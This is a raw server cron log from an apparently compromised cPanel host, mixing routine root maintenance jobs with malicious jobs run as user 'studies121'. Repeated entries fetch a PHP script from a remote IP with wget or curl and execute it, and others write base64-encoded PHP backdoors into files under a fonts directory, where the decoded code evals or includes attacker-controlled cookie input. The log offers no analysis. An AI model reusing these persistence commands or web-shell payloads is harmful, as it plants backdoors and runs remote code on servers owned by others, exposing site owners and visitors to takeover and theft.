Sep  5 22:16:01 ip-184-168-122-23 CROND[1696]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:16:01 ip-184-168-122-23 CROND[1697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:16:01 ip-184-168-122-23 CROND[1699]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:16:01 ip-184-168-122-23 CROND[1695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:16:01 ip-184-168-122-23 CROND[1698]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  5 22:17:01 ip-184-168-122-23 CROND[1802]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:17:01 ip-184-168-122-23 CROND[1804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:17:01 ip-184-168-122-23 CROND[1806]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:17:01 ip-184-168-122-23 CROND[1805]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:18:02 ip-184-168-122-23 CROND[1891]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:18:02 ip-184-168-122-23 CROND[1892]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:18:02 ip-184-168-122-23 CROND[1893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:18:02 ip-184-168-122-23 CROND[1895]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:18:02 ip-184-168-122-23 CROND[1896]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:19:01 ip-184-168-122-23 CROND[2060]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:19:01 ip-184-168-122-23 CROND[2061]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:19:01 ip-184-168-122-23 CROND[2065]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:19:01 ip-184-168-122-23 CROND[2066]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2164]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2168]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:20:01 ip-184-168-122-23 CROND[2166]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:20:01 ip-184-168-122-23 CROND[2165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2163]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2169]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2171]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:20:01 ip-184-168-122-23 CROND[2170]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 22:21:01 ip-184-168-122-23 CROND[2265]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:21:01 ip-184-168-122-23 CROND[2268]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:21:02 ip-184-168-122-23 CROND[2266]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:21:02 ip-184-168-122-23 CROND[2267]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:22:01 ip-184-168-122-23 CROND[2524]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:22:01 ip-184-168-122-23 CROND[2527]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:22:01 ip-184-168-122-23 CROND[2526]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:22:01 ip-184-168-122-23 CROND[2529]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:22:01 ip-184-168-122-23 CROND[2528]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:23:01 ip-184-168-122-23 CROND[2609]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:23:01 ip-184-168-122-23 CROND[2611]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:23:01 ip-184-168-122-23 CROND[2613]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:23:01 ip-184-168-122-23 CROND[2610]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:24:01 ip-184-168-122-23 CROND[2801]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:24:01 ip-184-168-122-23 CROND[2802]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:24:01 ip-184-168-122-23 CROND[2804]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:24:01 ip-184-168-122-23 CROND[2806]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:24:01 ip-184-168-122-23 CROND[2805]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:25:01 ip-184-168-122-23 CROND[2898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:25:02 ip-184-168-122-23 CROND[2900]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep  5 22:25:02 ip-184-168-122-23 CROND[2903]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 22:25:02 ip-184-168-122-23 CROND[2901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:25:02 ip-184-168-122-23 CROND[2906]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:25:02 ip-184-168-122-23 CROND[2909]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 22:25:02 ip-184-168-122-23 CROND[2908]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:26:02 ip-184-168-122-23 CROND[3000]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:26:02 ip-184-168-122-23 CROND[3001]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:26:02 ip-184-168-122-23 CROND[3002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:26:02 ip-184-168-122-23 CROND[3003]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  5 22:26:02 ip-184-168-122-23 CROND[2999]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:27:01 ip-184-168-122-23 CROND[3100]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  5 22:27:01 ip-184-168-122-23 CROND[3104]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 22:27:01 ip-184-168-122-23 CROND[3103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:27:01 ip-184-168-122-23 CROND[3105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  5 22:28:01 ip-184-168-122-23 CROND[3196]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 22:28:01 ip-184-168-122-23 CROND[3197]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
